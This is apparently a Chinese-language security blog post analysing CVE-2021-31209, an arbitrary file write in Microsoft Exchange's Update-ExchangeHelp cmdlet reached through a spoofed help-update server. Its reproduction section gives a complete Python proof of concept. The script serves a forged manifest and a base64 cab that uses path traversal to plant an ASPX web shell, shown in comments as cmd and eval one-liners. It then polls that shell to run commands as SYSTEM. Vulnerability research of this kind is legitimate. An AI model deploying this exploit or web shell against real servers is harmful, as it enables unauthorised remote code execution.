0x00 背景
这个漏洞是在2020年11月中旬发布的漏洞,编号为CVE-2021-31209
,该漏洞需要借助MITM
攻击,也就是当管理员在Exchange Management Shell中运行Update-ExchangeHelp
or Update-ExchangeHelp -Force
命令时,在内网的攻击者可以利用中间人攻击劫持请求触发远程代码执行。
Update-ExchangeHelp
,这条管理命令仅在本地Exchange服务器可用并且是Exchange2013以上。
使用此cmdlet可以在本地计算机上查找、下载和安装Exchange 命令行管理程序的最新可用帮助
;此cmdlet 会自动连接到预定义的网站,将本地 Exchange 服务器的版本和安装的语言与更新包中的可用内容进行比较,然后下载并安装更新的 Exchange 命令行管理程序帮助。
具体正常情况下使用如图:
0x01 更新流程
首先,现在已经了解这个命令是用来更新Exchange cmdlet的参考文章的,查阅文档发现此命令会连接预定义的网站,将本地的Exchange服务器版本和安装的语言包与更新包内容进行比较,然后下载并安装更新的Exchange cmdlet帮助文档。其可以直接联网更新,并且可以为其配置连接到内网的更新源,问题就出现在这里。
我们不妨先看看配置内网更新源使Exchange这条命令Update-ExchangeHelp
从内部源更新的过程:
- 下载
ExchangeHelpInfo.xml
文件 - 下载更新包,在内部 Web 服务器上发布更新包,并自定义
ExchangeHelpInfo.xml
文件 - 在内部 Web 服务器上发布自定义的
ExchangeHelpInfo.xml
文件。 - 修改 Exchange 服务器的注册表以指向自定义的
ExchangeHelpInfo.xml
文件。 - 使用命令更新
ExchangeHelpInfo.xml
文件的结构如下
<?xml version="1.0" encoding="utf-8"?>
<ExchangeHelpInfo>
<HelpVersion>
<Version>15.01.0225.030-15.01.0225.050</Version>
<Revision>001</Revision>
<CulturesUpdated>en</CulturesUpdated>
<CabinetUrl>https://download.microsoft.com/download/8/7/0/870FC9AB-6D22-4478-BFBF-66CE775BCD18/ExchangePS_Update_En.cab</CabinetUrl>
</HelpVersion>
</ExchangeHelpInfo>
<Version>
:指的是更新包适用的版本范围
<Revision>
:Exchange发布更新包的顺序
<CulturesUpdated>
:更新包适用的语言
<CabinetUrl>
:标示此更新包的位置
所以使用内网自己来更新Exchange cmdlet的帮助文档,只需下载好需要的.cab文件,放到内网Web服务器,然后更改对应的xml文件,并把自定义的ExchangeHelpInfo.xml
文件也放在Web服务器
最后对应上述步骤第四步,修改注册表即可自动去定义的地址更新。
0x02 漏洞分析
在Microsoft.Exchange.Management.dll
中,定义了Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand
类。
在函数UpdatableExchangeHelpCommand.InternalProcessRecord()
中调用了HelpUpdater.UpdateHelp()
方法
查看HelpUpdater.UpdateHelp()
中会调用HelpDownloader.DownloadManifest()
,看名字可以猜测是下载ExchangeHelpInfo.xml
这个文件的。
继续进入HelpDownloader.DownloadManifest()
,发现其将HelpUpdater.ManifestUrl
这一值赋给downloadUrl并调用HelpDownloader.AsyncDownloadFile()
下载
继续查看HelpDownloader.AsyncDownloadFile()
内,发现就是调用webClient.DownloadFileAsync()
方法下载这个URL并存入localFilePath
。
而localFilePath
就是HelpUpdater.LocalManifestPath
,并不可控。
接着还需要看一下HelpUpdater.ManifestUrl
这一值从哪里被设置的。
分析所使用的ManifestUrl
,发现其在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater.LoadConfiguration()
中被设置,并且LoadConfiguration()
由UpdatableExchangeHelpCommand.InternalValidate()
调用。
所以直接查看LoadConfiguration()
是如何配置ManifestUrl
这个值的。
如果不存在注册表SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp
,则创建ManifestUrl
项并赋值为http://go.microsoft.com/fwlink/p/?LinkId=287244
。
接着分析完HelpUpdater.UpdateHelp()
方法中调用完helpDownloader.DownloadManifest()
大致发生的事情后,回到该方法继续查看后面做了什么,毕竟目前来看还有一个.cab文件没有被请求。
首先会在下载完xml问候,调用helpDownloader.SearchManifestForApplicableUpdates()
,可以看到参数为CurrentHelpVersion
和CurrentHelpRevision
。
此函数会根据xml解析合适的更新包,会判断xml文件中的版本范围,以及更新的补丁号也就是<Revision>
对应的值,以及提取<CabinetUrl>
中的值。
解析起始版本号、结束版本号、补丁号以及<CulturesUpdated>
对应的语言相关代码:
判断版本号以及补丁号代码:
接着判断更新包的语言是否匹配
string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
然后就会执行到
helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);
调用helpDownloader.DownloadPackage()
,其中又会调用HelpDownloader.AsyncDownloadFile()
下载cab文件
然后路径存储为:
最后HelpInstaller.ExtractToTemp()
方法去提取cab文件
在其中调用Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles()
将之前上传到helpUpdater.LocalCabinetPath
的文件提取到helpUpdater.LocalCabinetExtractionTargetPath
路径
继续跟进这个函数,发现其将cab文件上传的路径、将要提取的目的路径、还有filter变量放入非托管内存
最后调用
num = <Module>.Microsoft.Exchange.CabUtility.EmbeddedCAB.ExtractCab(ptr, ptr2, ptr3, false);
这是一个导出函数,没有检查进入此函数的路径,所以导致了可以将cab提取到任何路径。
到这里其实只是管理员自己可以将此文件更新的时候写入任何目录,并没有什么影响,我们如果可以把注册表内的ManifestUrl
项修改为伪造的内网更新源,就可以劫持管理员去更新帮助手册的行为从而达到无需任何身份任意写入目录的效果。
所以这也是一个比较有意思的地方,作者使用ARP去欺骗Exchange服务器连接我们伪造的更新服务器,因为上述提到的注册表的值默认情况下都是要连接http://go.microsoft.com/fwlink/p/?LinkId=287244
这个地址。作者使用bettercab去做arp劫持,等待管理员执行Update-ExchangeHelp
即可完成攻击。
0x03 漏洞复现
我们这里选择直接更改注册表让其连接我们的伪造服务器来复现此漏洞
然后首先要调整xml文件,使其几个验证的项通过验证
查询本地Exchange版本
修改xml,这类顺带需要修改语言包
然后使用makecab准备放到web上的cab文件
接着使用稍作修改的原始POC,并在Exchange执行命令即可触发RCE
脚本如下:
import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CabRequestHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.endswith("poc.xml"):
print("(+) delivering xml file...")
xml = """<ExchangeHelpInfo>
<HelpVersions>
<HelpVersion>
<Version>15.01.0225.042-15.01.0999.999</Version>
<Revision>%s</Revision>
<CulturesUpdated>zh-HanS</CulturesUpdated>
<CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
</HelpVersion>
</HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(str.encode(xml))
elif self.path.endswith("poc.cab"):
print("(+) delivering cab file...")
# created like: makecab /d "CabinetName1=poc.cab" /f files.txt
# files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
# poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
# <script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>
stage_2 = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
p = base64.b64decode(stage_2.encode('utf-8'))
self.send_response(200)
self.send_header('Content-Type', 'application/x-cab')
self.send_header("Content-Length", len(p))
self.end_headers()
self.wfile.write(p)
return
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
sys.exit(-1)
t = sys.argv[1]
s = sys.argv[2]
port = 8000
r = sys.argv[3]
c = sys.argv[4]
print("(+) server bound to port %d" % port)
print("(+) targeting: %s using cmd: %s" % (t, c))
httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
handlerthr = Thread(target=httpd.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
p = { "c" : "/c %s" % c }
try:
while 1:
req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
if req.status_code == 200:
break
print("(+) executed %s as SYSTEM!" % c)
except KeyboardInterrupt:
pass
0x04 总结
这是一个非常简单的漏洞,思路比较有趣,所以拿来了解学习一遍。上次听说ARP攻击还是一几年左右大家都在搞C段用Cain去改别人主页。整个的流程比较有趣,算是也给大家提供了一个新的挖掘思路。
接下来有时间就会分享一些本人关于Exchange的学习笔记以及历史漏洞分析。
参考
https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html
https://docs.microsoft.com/en-us/powershell/module/exchange/update-exchangehelp